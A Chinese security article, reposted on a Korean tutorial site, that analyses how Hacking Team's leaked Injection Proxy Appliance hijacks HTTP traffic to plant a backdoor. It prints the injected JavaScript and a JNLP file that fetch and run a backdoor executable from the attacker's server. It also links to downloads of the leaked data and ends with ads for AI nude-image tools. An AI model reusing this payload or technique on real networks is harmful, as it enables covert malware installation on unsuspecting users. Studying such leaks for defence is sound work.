목차
常见的有:
Connection: keep-alive
Connection: close
3、设置搜索关键字和注入缓冲器
先来了解一个结构体:
웹 프론트엔드 HTML 튜토리얼 中间人攻击之html注入_html/css_WEB-ITnose

中间人攻击之html注入_html/css_WEB-ITnose

Jun 24, 2016 am 11:29 AM

0×00 序

很久之前写的文章,现在拿出来分享。事先声明本人是一枚爱捣鼓的小菜,所以对泄漏资料的分析难免会有疏忽或着错误,望各位围观的大侠手下留情。

今年7月5日晚,一家意大利软件厂商被攻击,其掌握的387.05GB漏洞(包括0day)数据泄露出来,由此可能引发的动荡,引起了业界一片哗然。因为所有文件加起来的大小整整有387.05GB,光下载就得好久好久。在这里我提供一个完整版的百度网盘下载地址,有兴趣的同学可以直接去下载:http://yun.baidu.com/s/1jG8fOxS 。据说之所以这么大是因为里面有很多的邮件。但你不用担心你的小水管,有好人整理了一个只有1.3G的精华版。在这里我也提供一个百度网盘下载地址:http://yun.baidu.com/s/1eQDFm18 。在下载完完整版之前,我们就先拿精华版解解馋吧。

0×01 前言

这里的IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML、注入EXE和替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。
로그인 후 복사

其vector-ipa的源代码在Hacked Team\rcs-dev\share\HOME\Fabio\archive\projects\pc\RCSRedirect文件夹中 ,其内容如图1。

图1 vector-ipa内容

通过源码发现,这是在Linux环境下使用Makefile文件对整个工程进行编译、连接等的C代码,并且还使用了openssl库。

0×02 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

(1)建立连接;(2)发送请求;(3)回送响应信息;(4)关闭连接。
로그인 후 복사

IPA通过代理的模式监控的网络流量中检测HTTP连接,并劫持HTTP连接的Http Header,通过修改Http Header内容实现攻击,其攻击流程如图2。

图2 IPA进行http注入攻击流程

从图2中可知,其攻击的最主要的两个步骤就是 修改HTTP Request Header将木马写入HTTP Reply Header 。下面重点介绍一下这两步。

0×03 HTTP Request Header

1、将HTTP协议从1.1降到1.0以避免分块编码和其他问题

首先,HTTP/1.0和HTTP/1.1的其中一个区别就是:

(1)HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。如图3所示。

图3 HTTP/1.0连接

(2)HTTP 1.1支持持久连接,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。如图4所示。

图4 HTTP/1.1连接

因为http注入不需要使用持久性连接,所以我们需要修改它为HTTP/1.0协议,这样做的话可以避免分块编码和其他一些问题。

2、强制使用纯编码,以避免任何类型的压缩

HTTP Header中Accept-Encoding是浏览器发给服务器,声明浏览器支持的编码类型的。

常见的有:

Accept-Encoding: compress, gzip //支持compress 和gzip类型Accept-Encoding:               //默认是identityAccept-Encoding: *             //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compressAccept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0   //按顺序支持 gzip , identity
로그인 후 복사

为了后面更好的修改HTTP Reply Header,需要将 Accept-Encoding 设置为 none ,这样可以避免任何类型的压缩,源码如图5所示。

图5 设置Accept-Encoding为none

3、不使用缓存(避免服务器返回304响应)

不使用缓存就是为了更好的得到新的文件,需要删除Cache 头域中的If-Modified-Since和If-None-Match,如图6所示。

图6 删除Cache头域中的If-Modified-Since和If-None-Match

If-Modified-Since

把客户端端缓存页面的最后修改时间发送到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行对比。如果时间一致,那么返回304,客户端就直接使用本地缓存文件。如果时间不一致,就会返回200和新的文件内容。客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示在浏览器中。如图7所示。

图7 If-Modified-Since

If-None-Match

If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request 中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图8所示。

图8 If-None-Match

4、关闭保持连接

我们都知道Connection: keep-alive和Connection: close的区别:

Connection: keep-alive

当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

Connection: close

代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。

这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~

0×04 木马文件

在前面我们把修改之后的HTTP Request Header发送到服务器,这样服务也返回了HTTP Reply Header响应。那接下来的这步也是最关键的一步,就是将木马写入HTTP Reply Header中。

1、读取木马文件内容

在这之前,我们需要对木马文件进行准备检测,如果不存在的话,则返回一个新的BIO。

图9 木马文件准备检测

从上面的木马文件准备检测可以发现,其中木马文件如图10所示。

图10 木马文件

注入的原理就是在HTTP Reply Header的标签中注入一段JavaScript脚本。其JavaScript脚本的内容如下:

<script language="javascript" type="text/javascript">    if (navigator.platform == "Win32")    {        if (navigator.appName == "Microsoft Internet Explorer")        {            document.write("<iframe src =\"\" width=\"0\" height=\"0\"></iframe> <object classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=0 width=0 > <param name=\"app\"  value=\"%IPA_URL%/JwsUpdater.jnlp\"> <param name=\"type\" value=\"application/x-java-jnlp-file\"> <param name=\"back\" VALUE=\"false\"> </object> ");        }        else        {            document.write("<meta http-equiv=\"refresh\" content=\"0;url=%IPA_URL%/JwsUpdater.jnlp\" />");        }    }</script>
로그인 후 복사

从JavaScript脚本中,发现脚本跳转到一个JwsUpdater.jnlp的文件。先普及一下什么是JNLP?

JNLP(Java Network Launching Protocol )是java提供的一种可以通过浏览器直接执行java应用程序的途径,它使你可以直接通过一个网页上的url连接打开一个java应用程序。Java桌面应用程序以JNLP 的方式发布,如果版本升级后,不需要再向所有用户发布版本,只需要更新服务器的版本,这就相当于让java应用程序有了web应用的优点。
로그인 후 복사

使用jnlp文件就是为了能够通过浏览器打开一个网页上的URL连接来执行java木马应用程序。

<?xml version="1.0" encoding="utf-8"?><jnlp codebase="%IPA_URL%" spec="1.0+"> <information>   <title>Java Web Start Updater</title>   <vendor>%SITE_HOSTNAME%</vendor> </information> <security>   <all-permissions/> </security> <resources>   <j2se version="1.4.2+"/>   <jar href="JwsUpdater.jar"/> </resources> <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">   <argument>%IPA_URL%/backdoor.exe</argument> </application-desc></jnlp>
로그인 후 복사

其中,在标签中发现会把.jar文件下载到本地。而在application-desc设定参数的话,则会以安全的方式来执行jar文件中的com.sun.JwsInstaller.JwsUpdater类,自动加载服务器上的后门程序。

如果检测通过之后,就是将木马文件JwsUpdater.html的内容读取到html_to_inject中。

2、修改IPA_URL

在前面无论是JwsUpdater.html文件,还是JwsUpdater.jnlp文件都有一个“%IPA_URL%”。我需要把“%IPA_URL%”修改为工作服务器的地址。

3、设置搜索关键字和注入缓冲器

木马脚本、服务器网站都修改好,那么万事俱备只欠东风。对的,设置搜索关键字和注入缓冲器就是那阵东风。

先来了解一个结构体:

struct bio_inject_setup {   char *search;   char *inject;   size_t inject_len;};
로그인 후 복사

其中,有三个成员,分别是搜索关键字(search)、注入木马脚本内容(inject)和注入木马脚本的长度(inject_len)。

前面也提到了,我们的木马内容是一段JavaScript脚本,所以注入木马脚本之处就是html文件中

标签内。

0×05  HTTP Reply Header

木马文件都准备好,那么接下来就是把木马文件写入到HTTP Reply Header中。分下面三个步骤:

1、将木马写入HTTP Reply Header

前面我们,设置搜索关键字和注入缓冲器。

在HTTP Reply Header搜索关键字,再把注入缓冲器的内容写入到HTTP Reply Header即可。如图11所示:

图11  将木马写入HTTP Reply Header

2、检查HTTP Reply Header是否gzip压缩

HTTP Reply Header必须采用纯编码,不能对其进行压缩。所以如果发现HTTP Reply Header有压缩的话,则停止攻击。

3、调整HTTP Reply Header的Content-Length属性

前面,在HTTP Reply Header中注入了木马脚本,所以HTTP Reply Header的长度肯定变化了,所以,我们需要调整HTTP Reply Header的Content-Length属性。

到这为止,就差最后一步,就是把HTTP Reply Header发送回客户端。这样就把木马程序种植到客户端。接下来就可以利用后门程序,做一系列的攻击。

*原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

HTML은 초보자를 위해 쉽게 배우나요? HTML은 초보자를 위해 쉽게 배우나요? Apr 07, 2025 am 12:11 AM

HTML은 간단하고 배우기 쉽고 결과를 빠르게 볼 수 있기 때문에 초보자에게 적합합니다. 1) HTML의 학습 곡선은 매끄럽고 시작하기 쉽습니다. 2) 기본 태그를 마스터하여 웹 페이지를 만들기 시작하십시오. 3) 유연성이 높고 CSS 및 JavaScript와 함께 사용할 수 있습니다. 4) 풍부한 학습 리소스와 현대 도구는 학습 과정을 지원합니다.

HTML, CSS 및 JavaScript의 역할 : 핵심 책임 HTML, CSS 및 JavaScript의 역할 : 핵심 책임 Apr 08, 2025 pm 07:05 PM

HTML은 웹 구조를 정의하고 CSS는 스타일과 레이아웃을 담당하며 JavaScript는 동적 상호 작용을 제공합니다. 세 사람은 웹 개발에서 의무를 수행하고 화려한 웹 사이트를 공동으로 구축합니다.

HTML의 시작 태그의 예는 무엇입니까? HTML의 시작 태그의 예는 무엇입니까? Apr 06, 2025 am 12:04 AM

anexampleStartingtaginhtmlis, whithbeginsaparagraph.startingtagsareessentialinhtmlastheyinitiate rements, definetheirtypes, andarecrucialforstructurituringwebpages 및 smanstlingthedom.

HTML, CSS 및 JavaScript 이해 : 초보자 안내서 HTML, CSS 및 JavaScript 이해 : 초보자 안내서 Apr 12, 2025 am 12:02 AM

WebDevelopmentReliesonHtml, CSS 및 JavaScript : 1) HtmlStructuresContent, 2) CSSSTYLESIT, 및 3) JAVASCRIPTADDSINGINTERACTIVITY, BASISOFMODERNWEBEXPERIENCES를 형성합니다.

Gitee Pages 정적 웹 사이트 배포 실패 : 단일 파일 문제를 해결하고 해결하는 방법 404 오류? Gitee Pages 정적 웹 사이트 배포 실패 : 단일 파일 문제를 해결하고 해결하는 방법 404 오류? Apr 04, 2025 pm 11:54 PM

GiteEpages 정적 웹 사이트 배포 실패 : 404 오류 문제 해결 및 해결시 Gitee ...

웹 주석에서 y 축 위치의 적응 형 레이아웃을 구현하는 방법은 무엇입니까? 웹 주석에서 y 축 위치의 적응 형 레이아웃을 구현하는 방법은 무엇입니까? Apr 04, 2025 pm 11:30 PM

웹 주석 기능에 대한 Y 축 위치 적응 알고리즘이 기사는 Word 문서와 유사한 주석 기능을 구현하는 방법, 특히 주석 간격을 다루는 방법을 모색합니다 ...

CSS3 및 JavaScript를 사용하여 클릭 후 주변 사진을 흩어지고 확대하는 효과를 얻는 방법은 무엇입니까? CSS3 및 JavaScript를 사용하여 클릭 후 주변 사진을 흩어지고 확대하는 효과를 얻는 방법은 무엇입니까? Apr 05, 2025 am 06:15 AM

이미지를 클릭 한 후 주변 이미지를 산란 및 확대하는 효과를 얻으려면 많은 웹 디자인이 대화식 효과를 달성해야합니다. 특정 이미지를 클릭하여 주변을 만들 수 있습니다 ...

HTML, CSS 및 JavaScript : 웹 개발자를위한 필수 도구 HTML, CSS 및 JavaScript : 웹 개발자를위한 필수 도구 Apr 09, 2025 am 12:12 AM

HTML, CSS 및 JavaScript는 웹 개발의 세 가지 기둥입니다. 1. HTML은 웹 페이지 구조를 정의하고 등과 같은 태그를 사용합니다. 2. CSS는 색상, 글꼴 크기 등과 같은 선택기 및 속성을 사용하여 웹 페이지 스타일을 제어합니다.

See all articles